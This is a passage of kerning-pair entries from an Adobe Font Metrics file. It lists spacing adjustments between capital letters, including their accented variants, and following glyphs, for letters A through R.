KPX A Tcommaaccent -55
KPX A U -50
KPX A Uacute -50
KPX A Ucircumflex -50
KPX A Udieresis -50
KPX A Ugrave -50
KPX A Uhungarumlaut -50
KPX A Umacron -50
KPX A Uogonek -50
KPX A Uring -50
KPX A V -95
KPX A W -100
KPX A Y -70
KPX A Yacute -70
KPX A Ydieresis -70
KPX A quoteright -74
KPX A u -30
KPX A uacute -30
KPX A ucircumflex -30
KPX A udieresis -30
KPX A ugrave -30
KPX A uhungarumlaut -30
KPX A umacron -30
KPX A uogonek -30
KPX A uring -30
KPX A v -74
KPX A w -74
KPX A y -74
KPX A yacute -74
KPX A ydieresis -74
KPX Aacute C -65
KPX Aacute Cacute -65
KPX Aacute Ccaron -65
KPX Aacute Ccedilla -65
KPX Aacute G -60
KPX Aacute Gbreve -60
KPX Aacute Gcommaaccent -60
KPX Aacute O -50
KPX Aacute Oacute -50
KPX Aacute Ocircumflex -50
KPX Aacute Odieresis -50
KPX Aacute Ograve -50
KPX Aacute Ohungarumlaut -50
KPX Aacute Omacron -50
KPX Aacute Oslash -50
KPX Aacute Otilde -50
KPX Aacute Q -55
KPX Aacute T -55
KPX Aacute Tcaron -55
KPX Aacute Tcommaaccent -55
KPX Aacute U -50
KPX Aacute Uacute -50
KPX Aacute Ucircumflex -50
KPX Aacute Udieresis -50
KPX Aacute Ugrave -50
KPX Aacute Uhungarumlaut -50
KPX Aacute Umacron -50
KPX Aacute Uogonek -50
KPX Aacute Uring -50
KPX Aacute V -95
KPX Aacute W -100
KPX Aacute Y -70
KPX Aacute Yacute -70
KPX Aacute Ydieresis -70
KPX Aacute quoteright -74
KPX Aacute u -30
KPX Aacute uacute -30
KPX Aacute ucircumflex -30
KPX Aacute udieresis -30
KPX Aacute ugrave -30
KPX Aacute uhungarumlaut -30
KPX Aacute umacron -30
KPX Aacute uogonek -30
KPX Aacute uring -30
KPX Aacute v -74
KPX Aacute w -74
KPX Aacute y -74
KPX Aacute yacute -74
KPX Aacute ydieresis -74
KPX Abreve C -65
KPX Abreve Cacute -65
KPX Abreve Ccaron -65
KPX Abreve Ccedilla -65
KPX Abreve G -60
KPX Abreve Gbreve -60
KPX Abreve Gcommaaccent -60
KPX Abreve O -50
KPX Abreve Oacute -50
KPX Abreve Ocircumflex -50
KPX Abreve Odieresis -50
KPX Abreve Ograve -50
KPX Abreve Ohungarumlaut -50
KPX Abreve Omacron -50
KPX Abreve Oslash -50
KPX Abreve Otilde -50
KPX Abreve Q -55
KPX Abreve T -55
KPX Abreve Tcaron -55
KPX Abreve Tcommaaccent -55
KPX Abreve U -50
KPX Abreve Uacute -50
KPX Abreve Ucircumflex -50
KPX Abreve Udieresis -50
KPX Abreve Ugrave -50
KPX Abreve Uhungarumlaut -50
KPX Abreve Umacron -50
KPX Abreve Uogonek -50
KPX Abreve Uring -50
KPX Abreve V -95
KPX Abreve W -100
KPX Abreve Y -70
KPX Abreve Yacute -70
KPX Abreve Ydieresis -70
KPX Abreve quoteright -74
KPX Abreve u -30
KPX Abreve uacute -30
KPX Abreve ucircumflex -30
KPX Abreve udieresis -30
KPX Abreve ugrave -30
KPX Abreve uhungarumlaut -30
KPX Abreve umacron -30
KPX Abreve uogonek -30
KPX Abreve uring -30
KPX Abreve v -74
KPX Abreve w -74
KPX Abreve y -74
KPX Abreve yacute -74
KPX Abreve ydieresis -74
KPX Acircumflex C -65
KPX Acircumflex Cacute -65
KPX Acircumflex Ccaron -65
KPX Acircumflex Ccedilla -65
KPX Acircumflex G -60
KPX Acircumflex Gbreve -60
KPX Acircumflex Gcommaaccent -60
KPX Acircumflex O -50
KPX Acircumflex Oacute -50
KPX Acircumflex Ocircumflex -50
KPX Acircumflex Odieresis -50
KPX Acircumflex Ograve -50
KPX Acircumflex Ohungarumlaut -50
KPX Acircumflex Omacron -50
KPX Acircumflex Oslash -50
KPX Acircumflex Otilde -50
KPX Acircumflex Q -55
KPX Acircumflex T -55
KPX Acircumflex Tcaron -55
KPX Acircumflex Tcommaaccent -55
KPX Acircumflex U -50
KPX Acircumflex Uacute -50
KPX Acircumflex Ucircumflex -50
KPX Acircumflex Udieresis -50
KPX Acircumflex Ugrave -50
KPX Acircumflex Uhungarumlaut -50
KPX Acircumflex Umacron -50
KPX Acircumflex Uogonek -50
KPX Acircumflex Uring -50
KPX Acircumflex V -95
KPX Acircumflex W -100
KPX Acircumflex Y -70
KPX Acircumflex Yacute -70
KPX Acircumflex Ydieresis -70
KPX Acircumflex quoteright -74
KPX Acircumflex u -30
KPX Acircumflex uacute -30
KPX Acircumflex ucircumflex -30
KPX Acircumflex udieresis -30
KPX Acircumflex ugrave -30
KPX Acircumflex uhungarumlaut -30
KPX Acircumflex umacron -30
KPX Acircumflex uogonek -30
KPX Acircumflex uring -30
KPX Acircumflex v -74
KPX Acircumflex w -74
KPX Acircumflex y -74
KPX Acircumflex yacute -74
KPX Acircumflex ydieresis -74
KPX Adieresis C -65
KPX Adieresis Cacute -65
KPX Adieresis Ccaron -65
KPX Adieresis Ccedilla -65
KPX Adieresis G -60
KPX Adieresis Gbreve -60
KPX Adieresis Gcommaaccent -60
KPX Adieresis O -50
KPX Adieresis Oacute -50
KPX Adieresis Ocircumflex -50
KPX Adieresis Odieresis -50
KPX Adieresis Ograve -50
KPX Adieresis Ohungarumlaut -50
KPX Adieresis Omacron -50
KPX Adieresis Oslash -50
KPX Adieresis Otilde -50
KPX Adieresis Q -55
KPX Adieresis T -55
KPX Adieresis Tcaron -55
KPX Adieresis Tcommaaccent -55
KPX Adieresis U -50
KPX Adieresis Uacute -50
KPX Adieresis Ucircumflex -50
KPX Adieresis Udieresis -50
KPX Adieresis Ugrave -50
KPX Adieresis Uhungarumlaut -50
KPX Adieresis Umacron -50
KPX Adieresis Uogonek -50
KPX Adieresis Uring -50
KPX Adieresis V -95
KPX Adieresis W -100
KPX Adieresis Y -70
KPX Adieresis Yacute -70
KPX Adieresis Ydieresis -70
KPX Adieresis quoteright -74
KPX Adieresis u -30
KPX Adieresis uacute -30
KPX Adieresis ucircumflex -30
KPX Adieresis udieresis -30
KPX Adieresis ugrave -30
KPX Adieresis uhungarumlaut -30
KPX Adieresis umacron -30
KPX Adieresis uogonek -30
KPX Adieresis uring -30
KPX Adieresis v -74
KPX Adieresis w -74
KPX Adieresis y -74
KPX Adieresis yacute -74
KPX Adieresis ydieresis -74
KPX Agrave C -65
KPX Agrave Cacute -65
KPX Agrave Ccaron -65
KPX Agrave Ccedilla -65
KPX Agrave G -60
KPX Agrave Gbreve -60
KPX Agrave Gcommaaccent -60
KPX Agrave O -50
KPX Agrave Oacute -50
KPX Agrave Ocircumflex -50
KPX Agrave Odieresis -50
KPX Agrave Ograve -50
KPX Agrave Ohungarumlaut -50
KPX Agrave Omacron -50
KPX Agrave Oslash -50
KPX Agrave Otilde -50
KPX Agrave Q -55
KPX Agrave T -55
KPX Agrave Tcaron -55
KPX Agrave Tcommaaccent -55
KPX Agrave U -50
KPX Agrave Uacute -50
KPX Agrave Ucircumflex -50
KPX Agrave Udieresis -50
KPX Agrave Ugrave -50
KPX Agrave Uhungarumlaut -50
KPX Agrave Umacron -50
KPX Agrave Uogonek -50
KPX Agrave Uring -50
KPX Agrave V -95
KPX Agrave W -100
KPX Agrave Y -70
KPX Agrave Yacute -70
KPX Agrave Ydieresis -70
KPX Agrave quoteright -74
KPX Agrave u -30
KPX Agrave uacute -30
KPX Agrave ucircumflex -30
KPX Agrave udieresis -30
KPX Agrave ugrave -30
KPX Agrave uhungarumlaut -30
KPX Agrave umacron -30
KPX Agrave uogonek -30
KPX Agrave uring -30
KPX Agrave v -74
KPX Agrave w -74
KPX Agrave y -74
KPX Agrave yacute -74
KPX Agrave ydieresis -74
KPX Amacron C -65
KPX Amacron Cacute -65
KPX Amacron Ccaron -65
KPX Amacron Ccedilla -65
KPX Amacron G -60
KPX Amacron Gbreve -60
KPX Amacron Gcommaaccent -60
KPX Amacron O -50
KPX Amacron Oacute -50
KPX Amacron Ocircumflex -50
KPX Amacron Odieresis -50
KPX Amacron Ograve -50
KPX Amacron Ohungarumlaut -50
KPX Amacron Omacron -50
KPX Amacron Oslash -50
KPX Amacron Otilde -50
KPX Amacron Q -55
KPX Amacron T -55
KPX Amacron Tcaron -55
KPX Amacron Tcommaaccent -55
KPX Amacron U -50
KPX Amacron Uacute -50
KPX Amacron Ucircumflex -50
KPX Amacron Udieresis -50
KPX Amacron Ugrave -50
KPX Amacron Uhungarumlaut -50
KPX Amacron Umacron -50
KPX Amacron Uogonek -50
KPX Amacron Uring -50
KPX Amacron V -95
KPX Amacron W -100
KPX Amacron Y -70
KPX Amacron Yacute -70
KPX Amacron Ydieresis -70
KPX Amacron quoteright -74
KPX Amacron u -30
KPX Amacron uacute -30
KPX Amacron ucircumflex -30
KPX Amacron udieresis -30
KPX Amacron ugrave -30
KPX Amacron uhungarumlaut -30
KPX Amacron umacron -30
KPX Amacron uogonek -30
KPX Amacron uring -30
KPX Amacron v -74
KPX Amacron w -74
KPX Amacron y -74
KPX Amacron yacute -74
KPX Amacron ydieresis -74
KPX Aogonek C -65
KPX Aogonek Cacute -65
KPX Aogonek Ccaron -65
KPX Aogonek Ccedilla -65
KPX Aogonek G -60
KPX Aogonek Gbreve -60
KPX Aogonek Gcommaaccent -60
KPX Aogonek O -50
KPX Aogonek Oacute -50
KPX Aogonek Ocircumflex -50
KPX Aogonek Odieresis -50
KPX Aogonek Ograve -50
KPX Aogonek Ohungarumlaut -50
KPX Aogonek Omacron -50
KPX Aogonek Oslash -50
KPX Aogonek Otilde -50
KPX Aogonek Q -55
KPX Aogonek T -55
KPX Aogonek Tcaron -55
KPX Aogonek Tcommaaccent -55
KPX Aogonek U -50
KPX Aogonek Uacute -50
KPX Aogonek Ucircumflex -50
KPX Aogonek Udieresis -50
KPX Aogonek Ugrave -50
KPX Aogonek Uhungarumlaut -50
KPX Aogonek Umacron -50
KPX Aogonek Uogonek -50
KPX Aogonek Uring -50
KPX Aogonek V -95
KPX Aogonek W -100
KPX Aogonek Y -70
KPX Aogonek Yacute -70
KPX Aogonek Ydieresis -70
KPX Aogonek quoteright -74
KPX Aogonek u -30
KPX Aogonek uacute -30
KPX Aogonek ucircumflex -30
KPX Aogonek udieresis -30
KPX Aogonek ugrave -30
KPX Aogonek uhungarumlaut -30
KPX Aogonek umacron -30
KPX Aogonek uogonek -30
KPX Aogonek uring -30
KPX Aogonek v -74
KPX Aogonek w -74
KPX Aogonek y -34
KPX Aogonek yacute -34
KPX Aogonek ydieresis -34
KPX Aring C -65
KPX Aring Cacute -65
KPX Aring Ccaron -65
KPX Aring Ccedilla -65
KPX Aring G -60
KPX Aring Gbreve -60
KPX Aring Gcommaaccent -60
KPX Aring O -50
KPX Aring Oacute -50
KPX Aring Ocircumflex -50
KPX Aring Odieresis -50
KPX Aring Ograve -50
KPX Aring Ohungarumlaut -50
KPX Aring Omacron -50
KPX Aring Oslash -50
KPX Aring Otilde -50
KPX Aring Q -55
KPX Aring T -55
KPX Aring Tcaron -55
KPX Aring Tcommaaccent -55
KPX Aring U -50
KPX Aring Uacute -50
KPX Aring Ucircumflex -50
KPX Aring Udieresis -50
KPX Aring Ugrave -50
KPX Aring Uhungarumlaut -50
KPX Aring Umacron -50
KPX Aring Uogonek -50
KPX Aring Uring -50
KPX Aring V -95
KPX Aring W -100
KPX Aring Y -70
KPX Aring Yacute -70
KPX Aring Ydieresis -70
KPX Aring quoteright -74
KPX Aring u -30
KPX Aring uacute -30
KPX Aring ucircumflex -30
KPX Aring udieresis -30
KPX Aring ugrave -30
KPX Aring uhungarumlaut -30
KPX Aring umacron -30
KPX Aring uogonek -30
KPX Aring uring -30
KPX Aring v -74
KPX Aring w -74
KPX Aring y -74
KPX Aring yacute -74
KPX Aring ydieresis -74
KPX Atilde C -65
KPX Atilde Cacute -65
KPX Atilde Ccaron -65
KPX Atilde Ccedilla -65
KPX Atilde G -60
KPX Atilde Gbreve -60
KPX Atilde Gcommaaccent -60
KPX Atilde O -50
KPX Atilde Oacute -50
KPX Atilde Ocircumflex -50
KPX Atilde Odieresis -50
KPX Atilde Ograve -50
KPX Atilde Ohungarumlaut -50
KPX Atilde Omacron -50
KPX Atilde Oslash -50
KPX Atilde Otilde -50
KPX Atilde Q -55
KPX Atilde T -55
KPX Atilde Tcaron -55
KPX Atilde Tcommaaccent -55
KPX Atilde U -50
KPX Atilde Uacute -50
KPX Atilde Ucircumflex -50
KPX Atilde Udieresis -50
KPX Atilde Ugrave -50
KPX Atilde Uhungarumlaut -50
KPX Atilde Umacron -50
KPX Atilde Uogonek -50
KPX Atilde Uring -50
KPX Atilde V -95
KPX Atilde W -100
KPX Atilde Y -70
KPX Atilde Yacute -70
KPX Atilde Ydieresis -70
KPX Atilde quoteright -74
KPX Atilde u -30
KPX Atilde uacute -30
KPX Atilde ucircumflex -30
KPX Atilde udieresis -30
KPX Atilde ugrave -30
KPX Atilde uhungarumlaut -30
KPX Atilde umacron -30
KPX Atilde uogonek -30
KPX Atilde uring -30
KPX Atilde v -74
KPX Atilde w -74
KPX Atilde y -74
KPX Atilde yacute -74
KPX Atilde ydieresis -74
KPX B A -25
KPX B Aacute -25
KPX B Abreve -25
KPX B Acircumflex -25
KPX B Adieresis -25
KPX B Agrave -25
KPX B Amacron -25
KPX B Aogonek -25
KPX B Aring -25
KPX B Atilde -25
KPX B U -10
KPX B Uacute -10
KPX B Ucircumflex -10
KPX B Udieresis -10
KPX B Ugrave -10
KPX B Uhungarumlaut -10
KPX B Umacron -10
KPX B Uogonek -10
KPX B Uring -10
KPX D A -25
KPX D Aacute -25
KPX D Abreve -25
KPX D Acircumflex -25
KPX D Adieresis -25
KPX D Agrave -25
KPX D Amacron -25
KPX D Aogonek -25
KPX D Aring -25
KPX D Atilde -25
KPX D V -50
KPX D W -40
KPX D Y -50
KPX D Yacute -50
KPX D Ydieresis -50
KPX Dcaron A -25
KPX Dcaron Aacute -25
KPX Dcaron Abreve -25
KPX Dcaron Acircumflex -25
KPX Dcaron Adieresis -25
KPX Dcaron Agrave -25
KPX Dcaron Amacron -25
KPX Dcaron Aogonek -25
KPX Dcaron Aring -25
KPX Dcaron Atilde -25
KPX Dcaron V -50
KPX Dcaron W -40
KPX Dcaron Y -50
KPX Dcaron Yacute -50
KPX Dcaron Ydieresis -50
KPX Dcroat A -25
KPX Dcroat Aacute -25
KPX Dcroat Abreve -25
KPX Dcroat Acircumflex -25
KPX Dcroat Adieresis -25
KPX Dcroat Agrave -25
KPX Dcroat Amacron -25
KPX Dcroat Aogonek -25
KPX Dcroat Aring -25
KPX Dcroat Atilde -25
KPX Dcroat V -50
KPX Dcroat W -40
KPX Dcroat Y -50
KPX Dcroat Yacute -50
KPX Dcroat Ydieresis -50
KPX F A -100
KPX F Aacute -100
KPX F Abreve -100
KPX F Acircumflex -100
KPX F Adieresis -100
KPX F Agrave -100
KPX F Amacron -100
KPX F Aogonek -100
KPX F Aring -100
KPX F Atilde -100
KPX F a -95
KPX F aacute -95
KPX F abreve -95
KPX F acircumflex -95
KPX F adieresis -95
KPX F agrave -95
KPX F amacron -95
KPX F aogonek -95
KPX F aring -95
KPX F atilde -95
KPX F comma -129
KPX F e -100
KPX F eacute -100
KPX F ecaron -100
KPX F ecircumflex -100
KPX F edieresis -100
KPX F edotaccent -100
KPX F egrave -100
KPX F emacron -100
KPX F eogonek -100
KPX F i -40
KPX F iacute -40
KPX F icircumflex -40
KPX F idieresis -40
KPX F igrave -40
KPX F imacron -40
KPX F iogonek -40
KPX F o -70
KPX F oacute -70
KPX F ocircumflex -70
KPX F odieresis -70
KPX F ograve -70
KPX F ohungarumlaut -70
KPX F omacron -70
KPX F oslash -70
KPX F otilde -70
KPX F period -129
KPX F r -50
KPX F racute -50
KPX F rcaron -50
KPX F rcommaaccent -50
KPX J A -25
KPX J Aacute -25
KPX J Abreve -25
KPX J Acircumflex -25
KPX J Adieresis -25
KPX J Agrave -25
KPX J Amacron -25
KPX J Aogonek -25
KPX J Aring -25
KPX J Atilde -25
KPX J a -40
KPX J aacute -40
KPX J abreve -40
KPX J acircumflex -40
KPX J adieresis -40
KPX J agrave -40
KPX J amacron -40
KPX J aogonek -40
KPX J aring -40
KPX J atilde -40
KPX J comma -10
KPX J e -40
KPX J eacute -40
KPX J ecaron -40
KPX J ecircumflex -40
KPX J edieresis -40
KPX J edotaccent -40
KPX J egrave -40
KPX J emacron -40
KPX J eogonek -40
KPX J o -40
KPX J oacute -40
KPX J ocircumflex -40
KPX J odieresis -40
KPX J ograve -40
KPX J ohungarumlaut -40
KPX J omacron -40
KPX J oslash -40
KPX J otilde -40
KPX J period -10
KPX J u -40
KPX J uacute -40
KPX J ucircumflex -40
KPX J udieresis -40
KPX J ugrave -40
KPX J uhungarumlaut -40
KPX J umacron -40
KPX J uogonek -40
KPX J uring -40
KPX K O -30
KPX K Oacute -30
KPX K Ocircumflex -30
KPX K Odieresis -30
KPX K Ograve -30
KPX K Ohungarumlaut -30
KPX K Omacron -30
KPX K Oslash -30
KPX K Otilde -30
KPX K e -25
KPX K eacute -25
KPX K ecaron -25
KPX K ecircumflex -25
KPX K edieresis -25
KPX K edotaccent -25
KPX K egrave -25
KPX K emacron -25
KPX K eogonek -25
KPX K o -25
KPX K oacute -25
KPX K ocircumflex -25
KPX K odieresis -25
KPX K ograve -25
KPX K ohungarumlaut -25
KPX K omacron -25
KPX K oslash -25
KPX K otilde -25
KPX K u -20
KPX K uacute -20
KPX K ucircumflex -20
KPX K udieresis -20
KPX K ugrave -20
KPX K uhungarumlaut -20
KPX K umacron -20
KPX K uogonek -20
KPX K uring -20
KPX K y -20
KPX K yacute -20
KPX K ydieresis -20
KPX Kcommaaccent O -30
KPX Kcommaaccent Oacute -30
KPX Kcommaaccent Ocircumflex -30
KPX Kcommaaccent Odieresis -30
KPX Kcommaaccent Ograve -30
KPX Kcommaaccent Ohungarumlaut -30
KPX Kcommaaccent Omacron -30
KPX Kcommaaccent Oslash -30
KPX Kcommaaccent Otilde -30
KPX Kcommaaccent e -25
KPX Kcommaaccent eacute -25
KPX Kcommaaccent ecaron -25
KPX Kcommaaccent ecircumflex -25
KPX Kcommaaccent edieresis -25
KPX Kcommaaccent edotaccent -25
KPX Kcommaaccent egrave -25
KPX Kcommaaccent emacron -25
KPX Kcommaaccent eogonek -25
KPX Kcommaaccent o -25
KPX Kcommaaccent oacute -25
KPX Kcommaaccent ocircumflex -25
KPX Kcommaaccent odieresis -25
KPX Kcommaaccent ograve -25
KPX Kcommaaccent ohungarumlaut -25
KPX Kcommaaccent omacron -25
KPX Kcommaaccent oslash -25
KPX Kcommaaccent otilde -25
KPX Kcommaaccent u -20
KPX Kcommaaccent uacute -20
KPX Kcommaaccent ucircumflex -20
KPX Kcommaaccent udieresis -20
KPX Kcommaaccent ugrave -20
KPX Kcommaaccent uhungarumlaut -20
KPX Kcommaaccent umacron -20
KPX Kcommaaccent uogonek -20
KPX Kcommaaccent uring -20
KPX Kcommaaccent y -20
KPX Kcommaaccent yacute -20
KPX Kcommaaccent ydieresis -20
KPX L T -18
KPX L Tcaron -18
KPX L Tcommaaccent -18
KPX L V -37
KPX L W -37
KPX L Y -37
KPX L Yacute -37
KPX L Ydieresis -37
KPX L quoteright -55
KPX L y -37
KPX L yacute -37
KPX L ydieresis -37
KPX Lacute T -18
KPX Lacute Tcaron -18
KPX Lacute Tcommaaccent -18
KPX Lacute V -37
KPX Lacute W -37
KPX Lacute Y -37
KPX Lacute Yacute -37
KPX Lacute Ydieresis -37
KPX Lacute quoteright -55
KPX Lacute y -37
KPX Lacute yacute -37
KPX Lacute ydieresis -37
KPX Lcommaaccent T -18
KPX Lcommaaccent Tcaron -18
KPX Lcommaaccent Tcommaaccent -18
KPX Lcommaaccent V -37
KPX Lcommaaccent W -37
KPX Lcommaaccent Y -37
KPX Lcommaaccent Yacute -37
KPX Lcommaaccent Ydieresis -37
KPX Lcommaaccent quoteright -55
KPX Lcommaaccent y -37
KPX Lcommaaccent yacute -37
KPX Lcommaaccent ydieresis -37
KPX Lslash T -18
KPX Lslash Tcaron -18
KPX Lslash Tcommaaccent -18
KPX Lslash V -37
KPX Lslash W -37
KPX Lslash Y -37
KPX Lslash Yacute -37
KPX Lslash Ydieresis -37
KPX Lslash quoteright -55
KPX Lslash y -37
KPX Lslash yacute -37
KPX Lslash ydieresis -37
KPX N A -30
KPX N Aacute -30
KPX N Abreve -30
KPX N Acircumflex -30
KPX N Adieresis -30
KPX N Agrave -30
KPX N Amacron -30
KPX N Aogonek -30
KPX N Aring -30
KPX N Atilde -30
KPX Nacute A -30
KPX Nacute Aacute -30
KPX Nacute Abreve -30
KPX Nacute Acircumflex -30
KPX Nacute Adieresis -30
KPX Nacute Agrave -30
KPX Nacute Amacron -30
KPX Nacute Aogonek -30
KPX Nacute Aring -30
KPX Nacute Atilde -30
KPX Ncaron A -30
KPX Ncaron Aacute -30
KPX Ncaron Abreve -30
KPX Ncaron Acircumflex -30
KPX Ncaron Adieresis -30
KPX Ncaron Agrave -30
KPX Ncaron Amacron -30
KPX Ncaron Aogonek -30
KPX Ncaron Aring -30
KPX Ncaron Atilde -30
KPX Ncommaaccent A -30
KPX Ncommaaccent Aacute -30
KPX Ncommaaccent Abreve -30
KPX Ncommaaccent Acircumflex -30
KPX Ncommaaccent Adieresis -30
KPX Ncommaaccent Agrave -30
KPX Ncommaaccent Amacron -30
KPX Ncommaaccent Aogonek -30
KPX Ncommaaccent Aring -30
KPX Ncommaaccent Atilde -30
KPX Ntilde A -30
KPX Ntilde Aacute -30
KPX Ntilde Abreve -30
KPX Ntilde Acircumflex -30
KPX Ntilde Adieresis -30
KPX Ntilde Agrave -30
KPX Ntilde Amacron -30
KPX Ntilde Aogonek -30
KPX Ntilde Aring -30
KPX Ntilde Atilde -30
KPX O A -40
KPX O Aacute -40
KPX O Abreve -40
KPX O Acircumflex -40
KPX O Adieresis -40
KPX O Agrave -40
KPX O Amacron -40
KPX O Aogonek -40
KPX O Aring -40
KPX O Atilde -40
KPX O T -40
KPX O Tcaron -40
KPX O Tcommaaccent -40
KPX O V -50
KPX O W -50
KPX O X -40
KPX O Y -50
KPX O Yacute -50
KPX O Ydieresis -50
KPX Oacute A -40
KPX Oacute Aacute -40
KPX Oacute Abreve -40
KPX Oacute Acircumflex -40
KPX Oacute Adieresis -40
KPX Oacute Agrave -40
KPX Oacute Amacron -40
KPX Oacute Aogonek -40
KPX Oacute Aring -40
KPX Oacute Atilde -40
KPX Oacute T -40
KPX Oacute Tcaron -40
KPX Oacute Tcommaaccent -40
KPX Oacute V -50
KPX Oacute W -50
KPX Oacute X -40
KPX Oacute Y -50
KPX Oacute Yacute -50
KPX Oacute Ydieresis -50
KPX Ocircumflex A -40
KPX Ocircumflex Aacute -40
KPX Ocircumflex Abreve -40
KPX Ocircumflex Acircumflex -40
KPX Ocircumflex Adieresis -40
KPX Ocircumflex Agrave -40
KPX Ocircumflex Amacron -40
KPX Ocircumflex Aogonek -40
KPX Ocircumflex Aring -40
KPX Ocircumflex Atilde -40
KPX Ocircumflex T -40
KPX Ocircumflex Tcaron -40
KPX Ocircumflex Tcommaaccent -40
KPX Ocircumflex V -50
KPX Ocircumflex W -50
KPX Ocircumflex X -40
KPX Ocircumflex Y -50
KPX Ocircumflex Yacute -50
KPX Ocircumflex Ydieresis -50
KPX Odieresis A -40
KPX Odieresis Aacute -40
KPX Odieresis Abreve -40
KPX Odieresis Acircumflex -40
KPX Odieresis Adieresis -40
KPX Odieresis Agrave -40
KPX Odieresis Amacron -40
KPX Odieresis Aogonek -40
KPX Odieresis Aring -40
KPX Odieresis Atilde -40
KPX Odieresis T -40
KPX Odieresis Tcaron -40
KPX Odieresis Tcommaaccent -40
KPX Odieresis V -50
KPX Odieresis W -50
KPX Odieresis X -40
KPX Odieresis Y -50
KPX Odieresis Yacute -50
KPX Odieresis Ydieresis -50
KPX Ograve A -40
KPX Ograve Aacute -40
KPX Ograve Abreve -40
KPX Ograve Acircumflex -40
KPX Ograve Adieresis -40
KPX Ograve Agrave -40
KPX Ograve Amacron -40
KPX Ograve Aogonek -40
KPX Ograve Aring -40
KPX Ograve Atilde -40
KPX Ograve T -40
KPX Ograve Tcaron -40
KPX Ograve Tcommaaccent -40
KPX Ograve V -50
KPX Ograve W -50
KPX Ograve X -40
KPX Ograve Y -50
KPX Ograve Yacute -50
KPX Ograve Ydieresis -50
KPX Ohungarumlaut A -40
KPX Ohungarumlaut Aacute -40
KPX Ohungarumlaut Abreve -40
KPX Ohungarumlaut Acircumflex -40
KPX Ohungarumlaut Adieresis -40
KPX Ohungarumlaut Agrave -40
KPX Ohungarumlaut Amacron -40
KPX Ohungarumlaut Aogonek -40
KPX Ohungarumlaut Aring -40
KPX Ohungarumlaut Atilde -40
KPX Ohungarumlaut T -40
KPX Ohungarumlaut Tcaron -40
KPX Ohungarumlaut Tcommaaccent -40
KPX Ohungarumlaut V -50
KPX Ohungarumlaut W -50
KPX Ohungarumlaut X -40
KPX Ohungarumlaut Y -50
KPX Ohungarumlaut Yacute -50
KPX Ohungarumlaut Ydieresis -50
KPX Omacron A -40
KPX Omacron Aacute -40
KPX Omacron Abreve -40
KPX Omacron Acircumflex -40
KPX Omacron Adieresis -40
KPX Omacron Agrave -40
KPX Omacron Amacron -40
KPX Omacron Aogonek -40
KPX Omacron Aring -40
KPX Omacron Atilde -40
KPX Omacron T -40
KPX Omacron Tcaron -40
KPX Omacron Tcommaaccent -40
KPX Omacron V -50
KPX Omacron W -50
KPX Omacron X -40
KPX Omacron Y -50
KPX Omacron Yacute -50
KPX Omacron Ydieresis -50
KPX Oslash A -40
KPX Oslash Aacute -40
KPX Oslash Abreve -40
KPX Oslash Acircumflex -40
KPX Oslash Adieresis -40
KPX Oslash Agrave -40
KPX Oslash Amacron -40
KPX Oslash Aogonek -40
KPX Oslash Aring -40
KPX Oslash Atilde -40
KPX Oslash T -40
KPX Oslash Tcaron -40
KPX Oslash Tcommaaccent -40
KPX Oslash V -50
KPX Oslash W -50
KPX Oslash X -40
KPX Oslash Y -50
KPX Oslash Yacute -50
KPX Oslash Ydieresis -50
KPX Otilde A -40
KPX Otilde Aacute -40
KPX Otilde Abreve -40
KPX Otilde Acircumflex -40
KPX Otilde Adieresis -40
KPX Otilde Agrave -40
KPX Otilde Amacron -40
KPX Otilde Aogonek -40
KPX Otilde Aring -40
KPX Otilde Atilde -40
KPX Otilde T -40
KPX Otilde Tcaron -40
KPX Otilde Tcommaaccent -40
KPX Otilde V -50
KPX Otilde W -50
KPX Otilde X -40
KPX Otilde Y -50
KPX Otilde Yacute -50
KPX Otilde Ydieresis -50
KPX P A -85
KPX P Aacute -85
KPX P Abreve -85
KPX P Acircumflex -85
KPX P Adieresis -85
KPX P Agrave -85
KPX P Amacron -85
KPX P Aogonek -85
KPX P Aring -85
KPX P Atilde -85
KPX P a -40
KPX P aacute -40
KPX P abreve -40
KPX P acircumflex -40
KPX P adieresis -40
KPX P agrave -40
KPX P amacron -40
KPX P aogonek -40
KPX P aring -40
KPX P atilde -40
KPX P comma -129
KPX P e -50
KPX P eacute -50
KPX P ecaron -50
KPX P ecircumflex -50
KPX P edieresis -50
KPX P edotaccent -50
KPX P egrave -50
KPX P emacron -50
KPX P eogonek -50
KPX P o -55
KPX P oacute -55
KPX P ocircumflex -55
KPX P odieresis -55
KPX P ograve -55
KPX P ohungarumlaut -55
KPX P omacron -55
KPX P oslash -55
KPX P otilde -55
KPX P period -129
KPX Q U -10
KPX Q Uacute -10
KPX Q Ucircumflex -10
KPX Q Udieresis -10
KPX Q Ugrave -10
KPX Q Uhungarumlaut -10
KPX Q Umacron -10
KPX Q Uogonek -10
KPX Q Uring -10
KPX R O -40
KPX R Oacute -40
KPX R Ocircumflex -40
KPX R Odieresis -40
KPX R Ograve -40
KPX R Ohungarumlaut -40
KPX R Omacron -40
KPX R Oslash -40
KPX R Otilde -40
KPX R T -30
KPX R Tcaron -30
KPX R Tcommaaccent -30
KPX R U -40
KPX R Uacute -40
KPX R Ucircumflex -40
KPX R Udieresis -40
KPX R Ugrave -40
KPX R Uhungarumlaut -40
KPX R Umacron -40
KPX R Uogonek -40
KPX R Uring -40
KPX R V -18
KPX R W -18
KPX R Y -18
KPX R Yacute -18
KPX R Ydieresis -18
KPX Racute O -40
KPX Racute Oacute -40
KPX Racute Ocircumflex -40
KPX Racute Odieresis -40
KPX Racute Ograve -40
KPX Racute Ohungarumlaut -40
KPX Racute Omacron -40
KPX Racute Oslash -40
KPX Racute Otilde -40
KPX Racute T -30
KPX Racute Tcaron -30
KPX Racute Tcommaaccent -30
KPX Racute U -40
KPX Racute Uacute -40
KPX Racute Ucircumflex -40
KPX Racute Udieresis -40
KPX Racute Ugrave -40
KPX Racute Uhungarumlaut -40
KPX Racute Umacron -40
KPX Racute Uogonek -40
KPX Racute Uring -40
KPX Racute V -18
KPX Racute W -18
KPX Racute Y -18
KPX Racute Yacute -18
KPX Racute Ydieresis -18
KPX Rcaron O -40
KPX Rcaron Oacute -40
KPX Rcaron Ocircumflex -40
KPX Rcaron Odieresis -40
KPX Rcaron Ograve -40
KPX Rcaron Ohungarumlaut -40
KPX Rcaron Omacron -40
KPX Rcaron Oslash -40
KPX Rcaron Otilde -40
KPX Rcaron T -30
KPX Rcaron Tcaron -30
KPX Rcaron Tcommaaccent -30
KPX Rcaron U -40
KPX Rcaron Uacute -40
KPX Rcaron Ucircumflex -40
KPX Rcaron Udieresis -40
KPX Rcaron Ugrave -40
KPX Rcaron Uhungarumlaut -40
KPX Rcaron Umacron -40
KPX Rcaron Uogonek -40
KPX Rcaron Uring -40
KPX Rcaron V -18
KPX Rcaron W -18
